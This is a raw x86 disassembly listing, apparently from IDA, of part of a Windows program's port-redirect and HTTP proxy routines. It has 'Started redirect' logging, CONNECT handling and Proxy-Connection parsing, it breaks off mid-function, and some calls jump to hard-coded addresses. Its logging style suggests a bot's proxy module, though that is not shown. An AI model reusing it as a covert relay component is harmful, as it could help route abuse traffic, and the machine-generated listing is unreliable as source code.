; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_428020 proc near ; CODE XREF: sub_4015F5j
jmp sub_40179E
sub_428020 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428040 proc near ; CODE XREF: sub_4015AFj
push ebx
push ebp
push esi
mov esi, ecx
push edi
lea edi, [esi+82h]
lea ebx, [esi+58h]
mov ecx, edi
lea ebp, [esi+6Dh]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
mov ecx, ebp
call sub_4017E4
push eax
lea ecx, [esi+11h]
call sub_4017E4
push eax
push offset aSStartedRedire ; "[%s] Started redirect from \"%s\" to \"%s\""...
lea ecx, [esi+26h]
call sub_4014D3
mov cl, [esi+97h]
push eax
mov al, [esi+98h]
push eax
push ecx
push offset byte_4D60B5
call sub_401848
mov edx, [esi+99h]
add esp, 24h
add edx, 11Ch
mov ecx, edi
push edx
call sub_4017E4
push eax
mov ecx, ebp
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
call sub_401D9D
add esp, 10h
mov ecx, edi
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
mov ecx, ebp
call sub_4017E4
push eax
lea ecx, [esi+11h]
call sub_4017E4
push eax
push offset aSFinishedRedir ; "[%s] Finished redirect from \"%s\" to \"%s"...
lea ecx, [esi+26h]
call sub_4014D3
mov cl, [esi+97h]
push eax
mov al, [esi+98h]
push eax
push ecx
push offset byte_4D60B5
call sub_401848
add esp, 24h
pop edi
pop esi
pop ebp
pop ebx
retn
sub_428040 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428160 proc near ; CODE XREF: sub_401884j
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_428160
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push esi
mov esi, ecx
mov [esp+2Ch+var_28], esi
call sub_401F82
lea ecx, [esi+0A1h]
mov [esp+2Ch+var_4], 0
call sub_401424
push 0
push 2Ah
push 2Eh
push 2Eh
lea eax, [esp+3Ch+var_24]
push 22h
push eax
mov byte ptr [esp+44h+var_4], 1
mov dword ptr [esi], offset off_43E14C
call sub_4019B5
add esp, 18h
mov ecx, eax
mov byte ptr [esp+2Ch+var_4], 2
call sub_4017E4
push eax
lea ecx, [esi+11h]
call sub_4015D7
lea ecx, [esp+2Ch+var_24]
mov byte ptr [esp+2Ch+var_4], 1
call sub_401226
mov ecx, [esp+2Ch+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 28h
retn
sub_428160 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428220 proc near ; CODE XREF: ___:00401E15j sub_4021B2j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_401BD1
test [esp+4+arg_0], 1
jz short loc_428238
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_428238: ; CODE XREF: sub_428220+Dj
mov eax, esi
pop esi
retn 4
sub_428220 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_428250 proc near ; CODE XREF: sub_401BD1j
push esi
mov esi, ecx
push edi
mov edi, dword_50FC88
mov eax, [esi+0BFh]
mov dword ptr [esi], offset off_43E14C
cmp eax, 0FFFFFFFFh
jz short loc_42826E
push eax
call edi ; dword_50FC88
loc_42826E: ; CODE XREF: sub_428250+19j
mov eax, [esi+0BBh]
cmp eax, 0FFFFFFFFh
jz short loc_42827C
push eax
call edi ; dword_50FC88
loc_42827C: ; CODE XREF: sub_428250+27j
lea ecx, [esi+0A1h]
call sub_401226
mov ecx, esi
call sub_40179E
pop edi
pop esi
retn
sub_428250 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4282C0 proc near ; CODE XREF: sub_401D2Aj
var_B0 = byte ptr -0B0h
var_AA = byte ptr -0AAh
var_A8 = byte ptr -0A8h
var_A7 = byte ptr -0A7h
var_8C = byte ptr -8Ch
var_74 = byte ptr -74h
var_5C = byte ptr -5Ch
var_48 = byte ptr -48h
var_47 = byte ptr -47h
var_46 = byte ptr -46h
var_3C = byte ptr -3Ch
var_34 = byte ptr -34h
var_2C = dword ptr -2Ch
var_26 = byte ptr -26h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_18 = byte ptr -18h
var_C = byte ptr -0Ch
var_A = byte ptr -0Ah
var_9 = byte ptr -9
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_C = byte ptr 10h
arg_10 = byte ptr 14h
arg_14 = byte ptr 18h
arg_24 = byte ptr 28h
arg_28 = byte ptr 2Ch
arg_34 = byte ptr 38h
arg_3C = byte ptr 40h
arg_40 = byte ptr 44h
arg_44 = byte ptr 48h
arg_48 = byte ptr 4Ch
arg_4A = word ptr 4Eh
arg_4C = dword ptr 50h
arg_50 = dword ptr 54h
arg_54 = dword ptr 58h
arg_58 = dword ptr 5Ch
arg_64 = byte ptr 68h
arg_68 = byte ptr 6Ch
arg_6C = byte ptr 70h
arg_91 = byte ptr 95h
arg_98 = byte ptr 9Ch
arg_9D = byte ptr 0A1h
arg_AD = byte ptr 0B1h
arg_D0 = dword ptr 0D4h
arg_D4 = byte ptr 0D8h
arg_E0 = dword ptr 0E4h
arg_E4 = byte ptr 0E8h
arg_EC = dword ptr 0F0h
arg_F0 = byte ptr 0F4h
arg_FC = byte ptr 100h
arg_108 = byte ptr 10Ch
arg_12C = byte ptr 130h
arg_150 = byte ptr 154h
arg_15C = byte ptr 160h
arg_180 = byte ptr 184h
arg_18C = byte ptr 190h
arg_1A4 = byte ptr 1A8h
arg_1B0 = byte ptr 1B4h
arg_1F8 = byte ptr 1FCh
arg_208 = byte ptr 20Ch
arg_210 = byte ptr 214h
arg_228 = byte ptr 22Ch
arg_230 = byte ptr 234h
arg_240 = byte ptr 244h
arg_244 = dword ptr 248h
arg_248 = dword ptr 24Ch
arg_24C = dword ptr 250h
arg_258 = byte ptr 25Ch
arg_374 = byte ptr 378h
arg_3B4 = byte ptr 3B8h
arg_3C4 = byte ptr 3C8h
arg_3D4 = byte ptr 3D8h
arg_3E4 = byte ptr 3E8h
arg_3EC = byte ptr 3F0h
arg_3F8 = byte ptr 3FCh
arg_3FC = byte ptr 400h
arg_408 = byte ptr 40Ch
arg_40C = byte ptr 410h
arg_41C = byte ptr 420h
arg_420 = byte ptr 424h
arg_42C = byte ptr 430h
arg_430 = byte ptr 434h
arg_43C = byte ptr 440h
arg_44C = byte ptr 450h
arg_45C = byte ptr 460h
arg_478 = byte ptr 47Ch
arg_4478 = byte ptr 447Ch
arg_53D0 = dword ptr 53D4h
arg_53E0 = dword ptr 53E4h
arg_5434 = byte ptr 5438h
arg_5444 = byte ptr 5448h
arg_544C = dword ptr 5450h
arg_5454 = dword ptr 5458h
arg_5480 = dword ptr 5484h
push 0FFFFFFFFh
mov eax, large fs:0
push offset loc_43BA92
push eax
mov eax, 5488h
mov large fs:0, esp
call sub_436840
push ebx
push ebp
push esi
mov ebp, ecx
or esi, 0FFFFFFFFh
push edi
mov [ebp+0BFh], esi
mov byte ptr [esp+11h], 0
mov [esp+1Ch+var_A], 0
loc_4282F8: ; CODE XREF: sub_4282C0+FC6j
lea ecx, [esp+1Ch+arg_98]
call sub_401B36
lea ecx, [esp+1Ch+var_8]
mov [esp+1Ch+arg_5480], 0
mov [esp+1Ch+var_9], 0
call sub_401424
mov ecx, [ebp+0BBh]
push 0
lea eax, [esp+20h+arg_374]
push 104h
push eax
push ecx
mov byte ptr [esp+2Ch+arg_5480], 1
call sub_401280
add esp, 10h
test al, al
jz loc_429310
lea edx, [esp+1Ch+arg_374]
lea ecx, [esp+1Ch+arg_10]
push edx
call sub_401861
push offset byte_446F70
lea ecx, [esp+20h+arg_10]
mov byte ptr [esp+20h+arg_5480], 2
call sub_4012EE
test eax, eax
jnz short loc_4283B0
lea ecx, [esp+1Ch+arg_10]
mov byte ptr [esp+1Ch+arg_5480], 1
call sub_401226
lea ecx, [esp+1Ch+var_8]
mov byte ptr [esp+1Ch+arg_5480], 0
call sub_401226
lea ecx, [esp+1Ch+arg_98]
mov [esp+1Ch+arg_5480], esi
call sub_4014B0
jmp loc_429280
; ---------------------------------------------------------------------------
loc_4283B0: ; CODE XREF: sub_4282C0+B4j
push offset asc_443600 ; " "
lea eax, [esp+20h+arg_210]
push 0
push eax
lea ecx, [esp+28h+arg_10]
call sub_4016AE
push offset off_445258
mov ecx, eax
mov byte ptr [esp+20h+arg_5480], 3
call sub_401500
test eax, eax
lea ecx, [esp+1Ch+arg_210]
mov byte ptr [esp+1Ch+arg_5480], 2
setz bl
call sub_401226
test bl, bl
jz short loc_428475
push offset asc_443600 ; " "
lea ecx, [esp+20h+arg_1F8]
push 1
push ecx
lea ecx, [esp+28h+arg_10]
mov [esp+28h+var_9], 1
call sub_4016AE
lea edx, [esp+1Ch+arg_98]
mov ecx, eax
push edx
mov byte ptr [esp+20h+arg_5480], 4
call sub_4017E4
push eax
call sub_401938
add esp, 8
lea ecx, [esp+1Ch+arg_1F8]
test al, al
setz bl
mov byte ptr [esp+1Ch+arg_5480], 2
call sub_401226
test bl, bl
jnz loc_4292FF
push offset aHttp ; "http"
lea ecx, [esp+20h+arg_98]
call sub_4012EE
test eax, eax
jnz loc_4292FF
jmp loc_42866A
; ---------------------------------------------------------------------------
loc_428475: ; CODE XREF: sub_4282C0+137j
push offset asc_443600 ; " "
lea eax, [esp+20h+arg_228]
push 0
push eax
lea ecx, [esp+28h+arg_10]
call sub_4016AE
push offset aConnect_0 ; "CONNECT"
mov ecx, eax
mov byte ptr [esp+20h+arg_5480], 5
call sub_401500
test eax, eax
lea ecx, [esp+1Ch+arg_228]
mov byte ptr [esp+1Ch+arg_5480], 2
setz bl
call sub_401226
test bl, bl
jz loc_42866A
push offset aConnect ; "connect"
lea ecx, [esp+20h+arg_98]
mov [esp+20h+var_9], 0
call sub_4015D7
push offset byte_446F70
lea ecx, [esp+20h+arg_F0]
call sub_4015D7
push offset asc_443600 ; " "
lea ecx, [esp+20h+arg_108]
push 1
push ecx
lea ecx, [esp+28h+arg_10]
call sub_4016AE
push offset asc_443C94 ; ":"
lea edx, [esp+20h+arg_150]
push 0
push edx
mov ecx, eax
mov byte ptr [esp+28h+arg_5480], 6
call sub_4016AE
push eax
lea ecx, [esp+20h+arg_AD]
mov byte ptr [esp+20h+arg_5480], 7
call sub_401FBE
lea ecx, [esp+1Ch+arg_150]
mov byte ptr [esp+1Ch+arg_5480], 6
call sub_401226
lea ecx, [esp+1Ch+arg_108]
mov byte ptr [esp+1Ch+arg_5480], 2
call sub_401226
push offset asc_443600 ; " "
lea eax, [esp+20h+arg_258]
push 1
push eax
lea ecx, [esp+28h+arg_10]
call sub_4016AE
push offset asc_443C94 ; ":"
lea ecx, [esp+20h+arg_180]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+28h+arg_5480], 8
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+1Ch+arg_5480], 9
call sub_4017E4
test eax, eax
lea ecx, [esp+1Ch+arg_180]
mov byte ptr [esp+1Ch+arg_5480], 8
setz bl
call sub_401226
lea ecx, [esp+1Ch+arg_258]
mov byte ptr [esp+1Ch+arg_5480], 2
call sub_401226
test bl, bl
jnz loc_4292FF
push offset asc_443600 ; " "
lea edx, [esp+20h+arg_240]
push 1
push edx
lea ecx, [esp+28h+arg_10]
call sub_4016AE
push offset asc_443C94 ; ":"
lea ecx, [esp+20h+arg_1B0]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+28h+arg_5480], 0Ah
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+1Ch+arg_5480], 0Bh
call sub_4017E4
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+1Ch+arg_1B0]
mov [esp+1Ch+arg_EC], eax
mov byte ptr [esp+1Ch+arg_5480], 0Ah
call sub_401226
lea ecx, [esp+1Ch+arg_240]
mov byte ptr [esp+1Ch+arg_5480], 2
call sub_401226
mov eax, [esp+1Ch+arg_EC]
test eax, eax
jnz short loc_42866A
mov [esp+1Ch+arg_EC], 50h
loc_42866A: ; CODE XREF: sub_4282C0+1B0j
; sub_4282C0+1FCj ...
push offset asc_443600 ; " "
lea edx, [esp+20h+arg_28]
push 0
push edx
lea ecx, [esp+28h+arg_10]
call sub_4016AE
push offset byte_446F70
lea ecx, [esp+20h+arg_28]
mov byte ptr [esp+20h+arg_5480], 0Ch
call sub_4012EE
test eax, eax
jz loc_4292EE
push offset asc_443600 ; " "
lea eax, [esp+20h+arg_40]
push 2
push eax
lea ecx, [esp+28h+arg_10]
call sub_4016AE
push offset byte_446F70
lea ecx, [esp+20h+arg_40]
mov byte ptr [esp+20h+arg_5480], 0Dh
call sub_4012EE
test eax, eax
jz loc_4292DD
lea ecx, [esp+1Ch+arg_AD]
push ecx
lea ecx, [esp+20h+arg_68]
call sub_4014C9
mov ecx, 1000h
xor eax, eax
lea edi, [esp+1Ch+arg_478]
or ebx, 0FFFFFFFFh
rep stosd
mov edi, offset aHttprox ; "HTTPROX"
mov ecx, ebx
repne scasb
not ecx
sub edi, ecx
lea edx, [esp+1Ch+arg_4478]
mov eax, ecx
mov esi, edi
mov edi, edx
mov byte ptr [esp+1Ch+arg_5480], 0Eh
shr ecx, 2
rep movsd
mov ecx, eax
lea eax, [esp+1Ch+arg_4478]
and ecx, 3
rep movsb
mov esi, offset asc_445230 ; "\r\n"
loc_428731: ; CODE XREF: sub_4282C0+48Fj
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_428755
test cl, cl
jz short loc_428751
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_428755
add eax, 2
add esi, 2
test cl, cl
jnz short loc_428731
loc_428751: ; CODE XREF: sub_4282C0+47Bj
xor eax, eax
jmp short loc_428759
; ---------------------------------------------------------------------------
loc_428755: ; CODE XREF: sub_4282C0+477j
; sub_4282C0+485j
sbb eax, eax
sbb eax, ebx
loc_428759: ; CODE XREF: sub_4282C0+493j
test eax, eax
jz loc_428833
mov edi, dword_50FACC
loc_428767: ; CODE XREF: sub_4282C0+56Dj
mov esi, offset byte_446F70
lea eax, [esp+1Ch+arg_4478]
loc_428773: ; CODE XREF: sub_4282C0+4D1j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_428797
test cl, cl
jz short loc_428793
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_428797
add eax, 2
add esi, 2
test cl, cl
jnz short loc_428773
loc_428793: ; CODE XREF: sub_4282C0+4BDj
xor eax, eax
jmp short loc_42879B
; ---------------------------------------------------------------------------
loc_428797: ; CODE XREF: sub_4282C0+4B9j
; sub_4282C0+4C7j
sbb eax, eax
sbb eax, ebx
loc_42879B: ; CODE XREF: sub_4282C0+4D5j
test eax, eax
jz loc_428833
mov ecx, [ebp+0BBh]
push 0
lea eax, [esp+20h+arg_4478]
push 1000h
push eax
push ecx
call sub_401280
add esp, 10h
test al, al
jz loc_429339
lea edx, [esp+1Ch+arg_4478]
push 4000h
lea eax, [esp+20h+arg_478]
push edx
push eax
call edi ; dword_50FACC
push 4000h
lea ecx, [esp+2Ch+arg_478]
push offset asc_445230 ; "\r\n"
push ecx
call edi ; dword_50FACC
add esp, 18h
mov esi, offset asc_445230 ; "\r\n"
lea eax, [esp+1Ch+arg_4478]
loc_428803: ; CODE XREF: sub_4282C0+561j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_428827
test cl, cl
jz short loc_428823
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_428827
add eax, 2
add esi, 2
test cl, cl
jnz short loc_428803
loc_428823: ; CODE XREF: sub_4282C0+54Dj
xor eax, eax
jmp short loc_42882B
; ---------------------------------------------------------------------------
loc_428827: ; CODE XREF: sub_4282C0+549j
; sub_4282C0+557j
sbb eax, eax
sbb eax, ebx
loc_42882B: ; CODE XREF: sub_4282C0+565j
test eax, eax
jnz loc_428767
loc_428833: ; CODE XREF: sub_4282C0+49Bj
; sub_4282C0+4DDj
mov esi, dword_50FAF8
lea eax, [esp+1Ch+arg_478]
push offset aProxyConnectio ; "Proxy-Connection:"
push eax
call esi ; dword_50FAF8
add esp, 8
test eax, eax
jz short loc_428887
push offset asc_443C94 ; ":"
push eax
call esi ; dword_50FAF8
add esp, 8
inc eax
jz short loc_428887
cmp byte ptr [eax], 20h
jnz short loc_42886B
loc_428862: ; CODE XREF: sub_4282C0+5A9j
mov cl, [eax+1]
inc eax
cmp cl, 20h
jz short loc_428862
loc_42886B: ; CODE XREF: sub_4282C0+5A0j
push offset aKeepAlive ; "Keep-Alive"
push eax
call near ptr 77C4624Eh
nop
add esp, 8
test eax, eax
jz short loc_428887
mov byte ptr [ebp+0BAh], 1
jmp short loc_42888E
; ---------------------------------------------------------------------------
loc_428887: ; CODE XREF: sub_4282C0+58Dj
; sub_4282C0+59Bj ...
mov byte ptr [ebp+0BAh], 0
loc_42888E: ; CODE XREF: sub_4282C0+5C5j
cmp [ebp+0BFh], ebx
jnz loc_428926
push 6
push 1
push 2
call near ptr 71AB3B91h
nop
cmp eax, ebx
mov [ebp+0BFh], eax
jz loc_42940D
mov edx, [esp+28h+arg_E0]
xor ecx, ecx
mov [esp+28h+arg_4C], ecx
push edx
mov [esp+2Ch+arg_50], ecx
mov word ptr [esp+2Ch+arg_4C], 2
mov [esp+2Ch+arg_54], ecx
mov [esp+2Ch+arg_58], ecx
nop
call near ptr 71AB2B66h
lea ecx, [esp+2Ch+arg_9D]
mov [esp+2Ch+arg_4A], ax
call sub_4017E4
push eax
call sub_40187F
add esp, 4
cmp eax, ebx
mov [esp+2Ch+arg_4C], eax
jz loc_42934B
mov ecx, [ebp+0BFh]
lea eax, [esp+2Ch+arg_48]
push 10h
push eax
push ecx
call near ptr 71AB406Ah
nop
cmp eax, ebx
jz loc_4293A8
loc_428926: ; CODE XREF: sub_4282C0+5D4j
mov al, [esp+13h]
test al, al
jz loc_428FCE
mov al, [ebp+0BAh]
test al, al
jz short loc_428971
lea edx, [esp+38h+arg_45C]
lea ecx, [esp+38h+arg_24]
push edx
call sub_4017E4
push eax
lea ecx, [esp+40h+arg_D4]
call sub_4017E4
push eax
lea ecx, [esp+44h+arg_C]
call sub_4017E4
push eax
lea eax, [esp+48h+var_24]
push offset aSSSConnectionK ; "%s %s %s\r\nConnection: Keep-Alive\r\n%s"
push eax
jmp short loc_4289A4
; ---------------------------------------------------------------------------
loc_428971: ; CODE XREF: sub_4282C0+67Aj
lea ecx, [esp+38h+arg_45C]
push ecx
lea ecx, [esp+3Ch+arg_24]
call sub_4017E4
push eax
lea ecx, [esp+40h+arg_D4]
call sub_4017E4
push eax
lea ecx, [esp+44h+arg_C]
call sub_4017E4
push eax
lea edx, [esp+48h+var_24]
push offset aSSSConnectionC ; "%s %s %s\r\nConnection: close\r\n%s"
push edx
loc_4289A4: ; CODE XREF: sub_4282C0+6AFj
call sub_40102D
add esp, 18h
lea ecx, [esp+38h+var_24]
push 0
call sub_4013D9
push eax
lea ecx, [esp+40h+var_24]
call sub_4017E4
push eax
mov eax, [ebp+0BFh]
push eax
call near ptr 71AB428Ah
nop
test eax, eax
jz loc_4293F2
cmp eax, ebx
jz loc_4293F2
mov edx, [ebp+0BFh]
push 0
lea ecx, [esp+4Ch+arg_44C]
push 4000h
push ecx
push edx
call sub_401280
add esp, 10h
test al, al
jz loc_42941F
mov edi, offset asc_445230 ; "\r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+48h+arg_44C]
repne scasb
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0FFFFFFFFh
repne scasb
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
lea edi, [esp+4Ch+arg_44C]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
lea eax, [esp+4Ch+arg_44C]
push ecx
mov ecx, [ebp+0BBh]
push eax
push ecx
nop
call near ptr 71AB428Ah
xor ebx, ebx
mov esi, offset asc_445230 ; "\r\n"
mov [esp+58h+var_2C], ebx
lea eax, [esp+58h+arg_43C]
loc_428A6E: ; CODE XREF: sub_4282C0+7CCj
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_428A92
test cl, cl
jz short loc_428A8E
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_428A92
add eax, 2
add esi, 2
test cl, cl
jnz short loc_428A6E
loc_428A8E: ; CODE XREF: sub_4282C0+7B8j
xor eax, eax
jmp short loc_428A97
; ---------------------------------------------------------------------------
loc_428A92: ; CODE XREF: sub_4282C0+7B4j
; sub_4282C0+7C2j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_428A97: ; CODE XREF: sub_4282C0+7D0j
test eax, eax
jz loc_428E19
loc_428A9F: ; CODE XREF: sub_4282C0+B48j
mov esi, offset byte_446F70
lea eax, [esp+58h+arg_43C]
loc_428AAB: ; CODE XREF: sub_4282C0+80Dj
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_428AD3
test cl, cl
jz short loc_428ACF
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_428AD3
add eax, 2
add esi, 2
test cl, cl
jnz short loc_428AAB
loc_428ACF: ; CODE XREF: sub_4282C0+7F7j
xor eax, eax
jmp short loc_428AD8
; ---------------------------------------------------------------------------
loc_428AD3: ; CODE XREF: sub_4282C0+7F3j
; sub_4282C0+803j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_428AD8: ; CODE XREF: sub_4282C0+811j
test eax, eax
jz loc_428E15
mov ecx, [ebp+0BFh]
push 0
lea eax, [esp+5Ch+arg_43C]
push 4000h
push eax
push ecx
call sub_401280
add esp, 10h
test al, al
jz loc_428E10
lea edx, [esp+58h+arg_43C]
lea ecx, [esp+58h+arg_44]
push edx
call sub_401861
push offset asc_443600 ; " "
lea eax, [esp+5Ch+arg_1A4]
push 0
push eax
lea ecx, [esp+64h+arg_44]
mov [esp+64h+arg_5444], 0Fh
call sub_4016AE
push offset aContentLength ; "Content-Length:"
mov ecx, eax
mov [esp+5Ch+arg_5444], 10h
call sub_401500
test eax, eax
lea ecx, [esp+58h+arg_1A4]
mov [esp+58h+arg_5444], 0Fh
setz bl
call sub_401226
test bl, bl
jz short loc_428BBA
push offset asc_443600 ; " "
lea ecx, [esp+5Ch+arg_E4]
push 1
push ecx
lea ecx, [esp+64h+arg_44]
call sub_4016AE
mov ecx, eax
mov [esp+58h+arg_5444], 11h
call sub_4017E4
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+58h+arg_E4]
mov [esp+58h+var_2C], eax
mov [esp+58h+arg_5444], 0Fh
call sub_401226
loc_428BBA: ; CODE XREF: sub_4282C0+8ACj
push offset asc_443600 ; " "
lea edx, [esp+5Ch+arg_FC]
push 0
push edx
lea ecx, [esp+64h+arg_44]
call sub_4016AE
push offset aTransferEncodi ; "Transfer-Encoding:"
mov ecx, eax
mov [esp+5Ch+arg_5444], 12h
call sub_401500
test eax, eax
lea ecx, [esp+58h+arg_FC]
mov [esp+58h+arg_5444], 0Fh
setz bl
call sub_401226
test bl, bl
jz short loc_428C49
push offset asc_443600 ; " "
lea eax, [esp+5Ch+arg_12C]
push 1
push eax
lea ecx, [esp+64h+arg_44]
call sub_4016AE
push offset aChunked ; "chunked"
mov ecx, eax
mov [esp+5Ch+arg_5444], 13h
call sub_401500
lea ecx, [esp+58h+arg_12C]
mov [esp+58h+arg_5444], 0Fh
call sub_401226
loc_428C49: ; CODE XREF: sub_4282C0+944j
push offset asc_443600 ; " "
lea ecx, [esp+5Ch+arg_15C]
push 0
push ecx
lea ecx, [esp+64h+arg_44]
call sub_4016AE
push offset aConnection ; "Connection:"
mov ecx, eax
mov [esp+5Ch+arg_5444], 14h
call sub_401500
test eax, eax
lea ecx, [esp+58h+arg_15C]
mov [esp+58h+arg_5444], 0Fh
setz bl
call sub_401226
test bl, bl
jz short loc_428CE4
push offset asc_443600 ; " "
lea edx, [esp+5Ch+arg_18C]
push 1
push edx
lea ecx, [esp+64h+arg_44]
call sub_4016AE
push offset aKeepAlive ; "Keep-Alive"
mov ecx, eax
mov [esp+5Ch+arg_5444], 15h
call sub_401500
test eax, eax
lea ecx, [esp+58h+arg_18C]
mov [esp+58h+arg_5444], 0Fh
setz bl
call sub_401226
test bl, bl
setnz [esp+58h+var_47]
loc_428CE4: ; CODE XREF: sub_4282C0+9D3j
mov esi, offset asc_445230 ; "\r\n"
lea eax, [esp+58h+arg_43C]
loc_428CF0: ; CODE XREF: sub_4282C0+A52j
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_428D18
test cl, cl
jz short loc_428D14
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_428D18
add eax, 2
add esi, 2
test cl, cl
jnz short loc_428CF0
loc_428D14: ; CODE XREF: sub_4282C0+A3Cj
xor eax, eax
jmp short loc_428D1D
; ---------------------------------------------------------------------------
loc_428D18: ; CODE XREF: sub_4282C0+A38j
; sub_4282C0+A48j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_428D1D: ; CODE XREF: sub_4282C0+A56j
test eax, eax
jz loc_428DB9
mov esi, offset byte_446F70
lea eax, [esp+58h+arg_43C]
loc_428D31: ; CODE XREF: sub_4282C0+A93j
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_428D59
test cl, cl
jz short loc_428D55
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_428D59
add eax, 2
add esi, 2
test cl, cl
jnz short loc_428D31
loc_428D55: ; CODE XREF: sub_4282C0+A7Dj
xor eax, eax
jmp short loc_428D5E
; ---------------------------------------------------------------------------
loc_428D59: ; CODE XREF: sub_4282C0+A79j
; sub_4282C0+A89j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_428D5E: ; CODE XREF: sub_4282C0+A97j
test eax, eax
jz short loc_428DB9
mov edi, offset asc_445230 ; "\r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+58h+arg_43C]
repne scasb
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0FFFFFFFFh
repne scasb
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
lea edi, [esp+5Ch+arg_43C]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
lea eax, [esp+5Ch+arg_43C]
push ecx
mov ecx, [ebp+0BBh]
push eax
push ecx
nop
call near ptr 71AB428Ah
loc_428DB9: ; CODE XREF: sub_4282C0+A5Fj
; sub_4282C0+AA0j
lea ecx, [esp+68h+arg_34]
mov [esp+68h+arg_5434], 0Eh
call sub_401226
mov esi, offset asc_445230 ; "\r\n"
lea eax, [esp+68h+arg_42C]
loc_428DD9: ; CODE XREF: sub_4282C0+B3Bj
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_428E01
test cl, cl
jz short loc_428DFD
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_428E01
add eax, 2
add esi, 2
test cl, cl
jnz short loc_428DD9
loc_428DFD: ; CODE XREF: sub_4282C0+B25j
xor eax, eax
jmp short loc_428E06
; ---------------------------------------------------------------------------
loc_428E01: ; CODE XREF: sub_4282C0+B21j
; sub_4282C0+B31j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_428E06: ; CODE XREF: sub_4282C0+B3Fj
test eax, eax
jnz loc_428A9F
jmp short loc_428E15
; ---------------------------------------------------------------------------
loc_428E10: ; CODE XREF: sub_4282C0+840j
mov [esp+58h+var_46], 1
loc_428E15: ; CODE XREF: sub_4282C0+81Aj
; sub_4282C0+B4Ej
mov ebx, [esp+58h+var_2C]
loc_428E19: ; CODE XREF: sub_4282C0+7D9j
mov al, [esp+58h+var_47]
push 0
test al, al
jz short loc_428E41
mov edi, offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov eax, [ebp+0BBh]
not ecx
dec ecx
push ecx
push offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
push eax
jmp short loc_428E5D
; ---------------------------------------------------------------------------
loc_428E41: ; CODE XREF: sub_4282C0+B61j
mov edi, offset aConnectionClos ; "Connection: Close\r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, [ebp+0BBh]
push offset aConnectionClos ; "Connection: Close\r\n"
push ecx
loc_428E5D: ; CODE XREF: sub_4282C0+B7Fj
call near ptr 71AB428Ah
nop
mov edi, offset asc_445230 ; "\r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+68h+arg_42C]
repne scasb
not ecx
sub edi, ecx
push 0
mov eax, ecx
mov esi, edi
mov edi, edx
mov edx, [ebp+0BBh]
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
